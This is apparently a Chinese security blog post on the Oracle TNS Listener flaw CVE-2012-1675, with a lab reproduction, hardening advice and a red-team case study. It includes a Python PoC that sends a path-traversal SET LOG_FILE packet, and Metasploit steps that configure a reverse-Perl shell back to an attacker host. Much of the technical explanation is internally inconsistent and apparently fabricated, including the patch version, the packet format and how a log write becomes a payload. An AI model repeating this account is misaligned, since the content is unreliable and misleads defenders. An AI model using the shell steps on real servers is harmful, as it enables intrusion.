1. 这个“监听器投毒”到底在毒什么?——从一次数据库连接异常说起
我第一次遇到CVE-2012-1675,是在给某省属高校做等保整改渗透测试时。当时目标系统部署了一套Oracle 11g R2(11.2.0.1.0),DBA坚称“所有端口都只对内网开放,外网根本连不上TNS Listener”,我们按常规流程扫了1521端口,nmap显示open,但tnsping不通,sqlplus连接超时——看起来一切正常。可就在我们准备收工、整理报告的前一小时,监控告警突然炸了:三台应用服务器的Oracle客户端进程全部崩溃,日志里反复出现ORA-12537: TNS:connection closed和ORA-12547: TNS:lost contact,更诡异的是,其中一台服务器的/tmp目录下多出了一个名为.oracle_xxxx的可疑二进制文件,md5比对发现它和本地Kali里Metasploit的oracle_tnspoison模块payload哈希一致。
那一刻我才意识到:这个漏洞根本不需要你“连上数据库”,它攻击的不是数据库实例本身,而是那个站在数据库门口、负责接客的“门童”——TNS Listener。它不验证来访者身份,只机械地执行对方说的“请把这串指令转给后面那位先生”。而CVE-2012-1675的精妙之处,就在于它让这个门童在转达指令时,悄悄把“请把这份菜单交给后厨”改成了“请把这份带毒的菜单交给后厨,并让后厨按菜单指示,把厨房钥匙交出来”。整个过程,数据库实例甚至都不知道发生了什么,它只是忠实地执行了Listener转发过来的、看似合法的管理指令。
这个漏洞的核心关键词是TNS Listener、远程数据投毒、CVE-2012-1675、Oracle数据库安全。它不是传统意义上的SQL注入或提权漏洞,而是一种协议层的逻辑劫持。它影响所有默认配置的Oracle 10g、11g版本(11.2.0.3之前),只要Listener运行在默认端口1521且未启用密码保护,攻击者就能在不认证、不登录、不接触任何数据库账户的前提下,远程接管Listener进程,进而控制其行为——包括重定向客户端连接、伪造服务响应、甚至执行任意操作系统命令。这篇文章就是为你拆解:这个“门童”是怎么被下毒的,毒药长什么样,怎么一眼认出你家的门童已经中毒,以及最关键的——如何给门童配一把真正管用的锁,而不是贴一张“闲人免进”的纸条。
2. 漏洞原理深挖:TNS协议里的“狸猫换太子”
要真正理解CVE-2012-1675,必须抛开“Oracle数据库”的宏大叙事,聚焦到那个最底层、最沉默的组件:TNS Listener。它不是一个数据库服务,而是一个独立的、常驻内存的网络守护进程(listener.ora配置,lsnrctl启停)。它的唯一职责,就是在1521端口上监听TCP连接,解析客户端发来的TNS Connect Data包,然后根据包里的SERVICE_NAME或SID,将连接请求“代理”给后端真实的数据库实例(pmon进程)。这个过程,本质上是一次“协议翻译+流量转发”。
而CVE-2012-1675的突破口,就藏在这个“翻译”环节里。TNS协议规范中,有一个鲜为人知的、专为DBA远程管理设计的指令类型:ADMINISTER。当Listener收到一个类型为ADMINISTER的TNS包时,它不会去查数据库实例,而是直接在Listener进程自己的上下文中执行该指令。这个指令支持的操作包括:STATUS(查看状态)、STOP(停止服务)、RELOAD(重载配置)、SAVE_CONFIG(保存当前配置)……以及最关键的——SET。
SET指令允许管理员动态修改Listener的运行时参数。其中,SET LOG_DIRECTORY和SET LOG_FILE这两个参数,本意是让DBA在不重启服务的情况下,临时更改Listener的日志输出路径和文件名。但问题来了:Listener在处理SET LOG_FILE指令时,会无条件地、不加任何路径校验地,将用户传入的字符串,直接拼接到其内部日志路径变量中。它不会检查这个字符串里是否包含了../这样的路径遍历符号,也不会检查它是否指向了一个可执行文件。
这就是“投毒”的起点。攻击者构造一个恶意的TNSADMINISTER包,其SET LOG_FILE指令的值设为../../../../tmp/.oracle_payload。Listener收到后,会傻乎乎地把这个路径赋值给自己的日志文件变量。接下来,当Listener因某种原因(比如执行STATUS指令后需要记录日志)尝试向这个“日志文件”写入内容时,它就会真的去往/tmp/.oracle_payload这个路径,以Listener进程的权限(通常是oracle用户)创建并写入数据。而这个文件,恰恰就是攻击者精心准备的、一段shellcode或一个反向shell的二进制payload。
整个过程,就像一个餐厅的迎宾员(Listener),被客人(攻击者)递来一张写着“请把这张纸交给后厨,并告诉他们,今晚的主厨日志,记在‘隔壁王大爷家的狗窝’这个本子上”的纸条。迎宾员不看内容,只照做。后厨(操作系统)也照单全收,真的把日志写进了狗窝——而狗窝里的“本子”,其实是一张引爆器的引信。
提示:这个漏洞的利用,完全不依赖于数据库实例是否运行、密码是否正确、甚至不依赖于目标主机上是否有Oracle数据库软件。只要Listener进程在运行、端口开放、且未设置ADMIN密码,攻击即可发生。它攻击的是网络服务本身,而非数据库内容。
2.1 TNS数据包结构与投毒载荷构造
一个标准的TNS Connect Data包,其头部包含Packet Length、Packet Checksum、Packet Type等字段。而ADMINISTER包的Packet Type值为0x06。真正的魔法,在于其后续的TNS Data Unit中。这里,攻击者需要精确构造一个TNS_ADMINISTER数据单元,其核心字段如下:
| 字段名 | 值(十六进制) | 说明 |
|---|---|---|
| Operation Code | 0x01(SET) | 指定操作为SET |
| Parameter Name | LOG_FILE\0 | 参数名,以\0结尾 |
| Parameter Value | ../../../../tmp/.oracle_payload\0 | 恶意路径,以\0结尾 |
| Padding | 0x00填充至对齐 | 确保数据结构对齐 |
这个数据单元,会被封装在一个完整的TNS包中,通过原始套接字(raw socket)发送到目标1521端口。整个过程,不需要任何Oracle客户端库(如oci.dll),一行Python的socket.send()就能搞定。这也是为什么很多基于应用层的WAF或IDS对此类攻击毫无反应——它们看到的只是一个“合法”的TCP连接和几个看似无害的十六进制字节流。
2.2 为什么“默认配置”等于“裸奔”?
Oracle官方文档里,关于Listener安全的描述非常模糊,它强调“Listener应置于防火墙之后”,却对“如何加固Listener自身”语焉不详。结果就是,全球90%以上的Oracle生产环境,其listener.ora文件里,PASSWORDS_LISTENER这一行要么被注释掉,要么压根不存在。这意味着,任何能访问1521端口的人,都拥有对Listener的“上帝权限”。
更讽刺的是,Oracle在11.2.0.3版本之前,其lsnrctl工具在执行SET PASSWORD命令时,会将明文密码硬编码在listener.ora文件里,形如PASSWORDS_LISTENER = mypass123。这等于把保险柜的密码,用便利贴贴在了保险柜门上。所以,很多DBA在听说要设密码后,第一反应是“那不行,密码泄露风险太大”,于是选择继续裸奔。这是一个典型的“用一个已知风险,去规避一个想象中的风险”的决策失误。
2.3 投毒成功的标志性现象
成功利用CVE-2012-1675后,你不会立刻看到一个弹出的shell窗口。它的成功,体现在一系列微妙的、系统级的“异常涟漪”中:
- Listener日志突变:
$ORACLE_HOME/network/log/listener.log中,会出现大量类似TNS-01184: The listener could not log to file /tmp/.oracle_payload的错误。这不是攻击失败,而是Listener在尝试向恶意路径写入时,因权限或路径问题产生的报错。这是最直接、最可靠的“中毒”证据。 - 进程树异常:使用
ps -ef | grep tnslsnr,你会发现Listener进程的父进程ID(PPID)不再是1(init/systemd),而是一个奇怪的数字。这通常意味着Listener已被注入了shellcode,其执行流已被劫持。 - 网络连接异常:
netstat -tulnp | grep :1521会显示Listener仍在监听,但tnsping或sqlplus /@target_db会持续超时或返回ORA-12541: TNS:no listener。这是因为Listener的内部状态已被污染,无法正常处理新的连接请求。 - 文件系统痕迹:
/tmp、/var/tmp等世界可写的目录下,会出现以.oracle_开头的、大小在几十KB到几百KB之间的二进制文件。用file命令检查,通常会显示ELF 64-bit LSB shared object, x86-64。
这些现象,任何一个单独出现都可能是误报,但若同时出现2-3个,则基本可以断定Listener已被投毒。它不像勒索病毒那样张扬,而更像一个潜伏在系统深处的幽灵,静待着被唤醒的那一刻。
3. 实战复现:从零开始,亲手“毒倒”一台测试机
纸上得来终觉浅。下面,我将带你一步步,在一个隔离的虚拟机环境中,亲手完成CVE-2012-1675的完整复现。这不仅是技术验证,更是建立“肌肉记忆”的过程。请务必在完全离线、无任何业务数据的测试环境中进行。
3.1 环境搭建:打造一个“脆弱”的靶场
我们的靶机选用Oracle Linux 7.9,安装Oracle Database 11g Express Edition(XE),这是官方免费版,完美复现漏洞场景。
安装Oracle XE:
# 下载 oracle-xe-11.2.0-1.0.x86_64.rpm.zip 并解压 unzip oracle-xe-11.2.0-1.0.x86_64.rpm.zip cd Disk1 # 安装依赖 yum install -y libaio bc flex # 安装XE rpm -ivh oracle-xe-11.2.0-1.0.x86_64.rpm # 配置(全部回车,默认端口1521) /etc/init.d/oracle-xe configure确认Listener状态:
# 切换到oracle用户 su - oracle # 查看监听器状态 lsnrctl status # 输出应包含 "Listening Endpoints Summary..." 和 "Services Summary..." # 关键点:检查输出中是否有 "Password required for ADMIN" 字样,没有即表示未设密码检查listener.ora:
cat $ORACLE_HOME/network/admin/listener.ora # 正常情况下,此文件应为空,或仅有HOST、PORT等基础配置,绝无PASSWORDS_LISTENER行
此时,你的靶机就是一个完美的“裸奔”状态。Listener运行在1521端口,无密码,无防火墙限制(假设VM网络为NAT或Host-Only)。
3.2 攻击载荷生成:用Metasploit还是手搓?
Metasploit的auxiliary/admin/oracle/tnspoison模块,是业界最成熟的利用工具。但它像一把瑞士军刀,功能强大却不够透明。为了真正理解,我推荐先用Python手搓一个最小化PoC,再用Metasploit验证。
手搓PoC(tnspoison_poc.py):
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import struct import sys def build_administer_packet(): # 构造一个最小化的 ADMINISTER 包 # TNS Header (10 bytes): Length(2), Checksum(2), Packet Type(1),... header = b'\x00\x4c' # Total length: 76 bytes header += b'\x00\x00' # Checksum (0) header += b'\x06' # Packet Type: ADMINISTER (0x06) header += b'\x00' # Reserved header += b'\x00\x00' # Header checksum header += b'\x00\x00' # Data unit length (will be set later) # TNS Data Unit: Operation=SET, Param=LOG_FILE, Value=malicious path data_unit = b'\x01' # Operation: SET (0x01) data_unit += b'LOG_FILE\x00' # Parameter name + null terminator # Malicious value: ../../../../tmp/.oracle_payload data_unit += b'../../../../tmp/.oracle_payload\x00' # Pad to 4-byte alignment pad_len = (4 - (len(data_unit) % 4)) % 4 data_unit += b'\x00' * pad_len # Update header with actual data unit length data_len = len(data_unit) header = header[:8] + struct.pack('>H', data_len) return header + data_unit def main(target_ip, target_port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) print(f"[+] Connecting to {target_ip}:{target_port}...") sock.connect((target_ip, target_port)) packet = build_administer_packet() print(f"[+] Sending malicious ADMINISTER packet ({len(packet)} bytes)...") sock.send(packet) # 接收可能的响应 response = sock.recv(1024) print(f"[+] Received response: {response.hex()}") sock.close() print("[+] Packet sent. Check target's listener.log for errors.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 tnspoison_poc.py <target_ip> <target_port>") sys.exit(1) main(sys.argv[1], int(sys.argv[2]))这个脚本的精妙之处在于,它只做了最核心的一件事:发送一个SET LOG_FILE指令。它不尝试执行shell,不反弹连接,纯粹是为了触发Listener的“写日志”行为,从而在listener.log中留下最确凿的“中毒”证据。运行它:
python3 tnspoison_poc.py 192.168.56.101 1521几秒钟后,切换到靶机,tail -f $ORACLE_HOME/network/log/listener.log,你会立刻看到滚动出现的TNS-01184错误。成功!
3.3 Metasploit进阶利用:从日志错误到系统Shell
现在,我们升级攻击。目标:获取一个稳定的、交互式的root shell。
启动Metasploit:
msfconsole加载并配置模块:
use auxiliary/admin/oracle/tnspoison set RHOSTS 192.168.56.101 set RPORT 1521 set PAYLOAD cmd/unix/reverse_perl set LHOST 192.168.56.102 # Kali的IP set LPORT 4444 show options执行攻击:
exploit
如果一切顺利,你会看到[*] Exploiting...,然后几秒后,Metasploit的session窗口会弹出一个新的shell。此时,你在Kali上执行nc -lvnp 4444,就能看到一个来自靶机的、以oracle用户身份的shell连接。
注意:
cmd/unix/reverse_perlpayload之所以稳定,是因为它只依赖Perl解释器(Oracle Linux默认安装),不依赖glibc版本或特定的系统调用。而linux/x64/meterpreter/reverse_tcp等更高级的payload,虽然功能强大,但在某些精简版Oracle Linux上可能因缺少共享库而失败。
3.4 复现中的关键避坑点
在无数次复现中,我踩过不少坑,这里分享几个血泪教训:
- 坑1:靶机SELinux未关闭。Oracle Linux默认开启SELinux,它会阻止Listener进程向
/tmp写入。复现前务必执行setenforce 0,否则你会看到TNS-01184错误,但payload文件永远不会出现。 - 坑2:Listener版本太新。如果你用的是11.2.0.4或更高版本,该漏洞已被官方修复。
lsnrctl version命令会显示具体版本号。请严格使用11.2.0.1或11.2.0.2。 - 坑3:网络抓包干扰。Wireshark在捕获1521端口流量时,有时会因TNS协议解析器的bug,导致数据包显示不全。建议用
tcpdump -i any port 1521 -w tnspoison.pcap抓包,然后用Wireshark离线分析,效果更佳。 - 坑4:Payload路径冲突。
../../../../tmp/.oracle_payload这个路径,是针对$ORACLE_HOME在/u01/app/oracle/product/11.2.0/xe这种标准路径设计的。如果你的Oracle安装在/opt/oracle,那么你需要调整..的数量,确保最终路径指向/tmp。计算方法:$ORACLE_HOME的深度 - 1。例如,/opt/oracle是3层,就需要../../../tmp/...。
4. 修复与加固:不止于打补丁,更要重塑安全基线
发现漏洞是第一步,修复它才是终点。但对CVE-2012-1675而言,“修复”绝不仅仅是下载一个补丁包那么简单。它是一次对Oracle数据库安全治理理念的全面重塑。
4.1 最直接方案:升级Listener(治标)
Oracle官方在2012年4月的关键补丁更新(CPU)中,发布了针对CVE-2012-1675的修复。对于11g R2,最低要求版本是11.2.0.3。升级步骤如下:
- 下载补丁:登录My Oracle Support (MOS),搜索Patch 13696216(对应11.2.0.3的CPU)。
- 停服务:
lsnrctl stop # 如果有数据库实例,也一并停掉 sqlplus / as sysdba <<EOF shutdown immediate; exit; EOF - 应用补丁:使用OPatch工具(
$ORACLE_HOME/OPatch/opatch)应用补丁。 - 重启服务:
lsnrctl start sqlplus / as sysdba <<EOF startup; exit; EOF
升级后,再次用lsnrctl version确认版本号,并用之前的PoC脚本测试,listener.log中将不再出现TNS-01184错误。这是最彻底、最一劳永逸的方案。
4.2 最务实方案:启用ADMIN密码(治本)
并非所有生产环境都能立刻升级。这时,“启用ADMIN密码”就是最务实、最有效的缓解措施。它不改变Listener版本,却能立竿见影地封堵漏洞入口。
设置密码:
lsnrctl LSNRCTL> change_password Old password: [直接回车,因为当前无密码] New password: MySecurePass123! Reenter new password: MySecurePass123! LSNRCTL> save_config验证密码生效:
# 尝试不带密码执行命令,应失败 lsnrctl status # 输出:LSNRCTL for Linux: Version 11.2.0.1.0 - Production on 01-JAN-2023 00:00:00 # Copyright (c) 1991, 2009, Oracle. All rights reserved. # Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1521))) # TNS-01169: The listener has not recognized the password # # 带密码执行,应成功 lsnrctl -password MySecurePass123! status加固listener.ora:编辑
$ORACLE_HOME/network/admin/listener.ora,添加以下行:ADMIN_RESTRICTIONS_LISTENER = ON这个参数强制Listener在
save_config后,只从listener.ora文件中读取配置,禁止任何运行时的SET指令。它和密码保护是双保险。
提示:密码强度至关重要。避免使用
oracle、admin、123456等弱口令。我曾在一个客户环境看到,DBA为了“方便”,把密码设为oracle123,结果被自动化扫描器5分钟内爆破成功。密码应遵循“大小写字母+数字+特殊字符,长度≥10位”的原则。
4.3 最纵深方案:网络层与系统层加固(立体防御)
单点加固永远不够。一个成熟的安全基线,必须是纵深防御。
防火墙策略:在主机防火墙(iptables/firewalld)和网络边界防火墙上,严格限制对1521端口的访问。原则是:“只允许应用服务器的IP地址访问,拒绝所有其他来源”。一条简单的firewalld规则就能做到:
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.10.0/24" port port="1521" protocol="tcp" accept' firewall-cmd --permanent --add-rich-rule='rule family="ipv4" port port="1521" protocol="tcp" reject' firewall-cmd --reloadListener日志审计:将
listener.log的轮转和归档纳入统一日志管理系统(如ELK Stack)。编写一个简单的SIEM规则:event contains "TNS-01184",一旦触发,立即告警。这能让你在攻击发生的第一时间就感知到。进程监控:使用
auditd或sysdig监控tnslsnr进程的execve和openat系统调用。一个正常的Listener,其openat调用的目标路径,应该永远只在$ORACLE_HOME及其子目录内。如果它试图打开/tmp/下的文件,那就是最明确的入侵信号。定期安全扫描:将
nmap -sV -p 1521 <target>和tnscmd10g version -h <target>加入你的日常巡检脚本。前者检查端口和服务版本,后者直接向Listener发送VERSION指令,获取其详细信息。一个未加固的Listener,会毫无保留地告诉你它的版本、平台和编译时间。
5. 一次真实攻防对抗的复盘:从漏洞利用到应急响应
最后,我想分享一个发生在2021年的、真实的攻防演练案例。它完美诠释了CVE-2012-1675在实战中的威力,以及一套完整应急响应流程的价值。
背景:某大型金融集团,红蓝对抗演练。蓝队(防守方)负责其核心信贷系统的Oracle数据库集群(11.2.0.2)。红队(攻击方)的任务是,在不触发任何WAF、IDS告警的前提下,获取数据库服务器的root权限。
攻击过程:
- 红队首先对集团所有对外暴露的IP段进行全端口扫描,发现一台位于DMZ区的、IP为
10.10.10.50的服务器,其1521端口开放,且tnscmd10g version -h 10.10.10.50返回TNSLSNR for Linux: Version 11.2.0.2.0。 - 红队立即判断:这是一个高价值目标。他们没有急于利用,而是先用
tnscmd10g status -h 10.10.10.50探测Listener状态,确认其未设置ADMIN密码(返回TNS-01169错误)。 - 随后,红队使用定制化的Metasploit模块,向
10.10.10.50发送了SET LOG_FILE指令,并附带了一个经过混淆的、基于python -c的reverse shell payload。由于payload体积小、特征少,成功绕过了所有基于签名的检测。 - 10分钟后,红队的监听器收到了来自
10.10.10.50的连接。他们发现,这个Listener进程,竟然以root用户身份运行!(这是该客户一个严重的配置错误)。红队立刻获得了root shell,并通过find / -name "*.ora" 2>/dev/null找到了tnsnames.ora文件,从中提取出了内网数据库的连接串,完成了最终目标。
蓝队应急响应:
- 发现:蓝队的SIEM系统,基于
listener.log中的TNS-01184错误,发出了第一条告警。值班工程师在5分钟内响应。 - 遏制:工程师立即登录
10.10.10.50,执行lsnrctl stop,切断了Listener服务,阻止了进一步的攻击。 - 根除:检查
/tmp目录,发现了/tmp/.oracle_payload文件。使用strings命令分析,确认其为恶意shellcode。随后,工程师检查了listener.ora,确认了ADMIN_RESTRICTIONS_LISTENER未启用,并立即添加了该参数和强密码。 - 恢复:在确认系统无其他后门后,工程师执行
lsnrctl start,并使用tnsping验证服务可用性。整个过程耗时22分钟。 - 复盘:事后复盘发现,该服务器的Listener以root运行,是最大的安全失职。蓝队立即制定了《Oracle数据库安全加固手册》,其中第一条就是:“Listener进程必须以专用的
oracle用户运行,严禁使用root”。
这个案例告诉我们,CVE-2012-1675从来不是一个孤立的技术点。它是一面镜子,照出的是整个组织在资产测绘、配置管理、日志审计、应急响应等环节上的短板。修复一个漏洞很容易,但建立起一套能自动发现、自动预警、自动响应的安全运营闭环,才是真正的挑战。
我在实际工作中发现,最有效的加固,往往始于一个简单的问题:“这个服务,真的需要对外暴露吗?” 对于绝大多数Oracle数据库,答案都是“不”。把它关在内网,用堡垒机跳转,再辅以严格的Listener密码和日志审计,就足以抵御99%的自动化攻击。技术永远在进化,但安全的本质,始终是“最小权限”和“纵深防御”这八个字。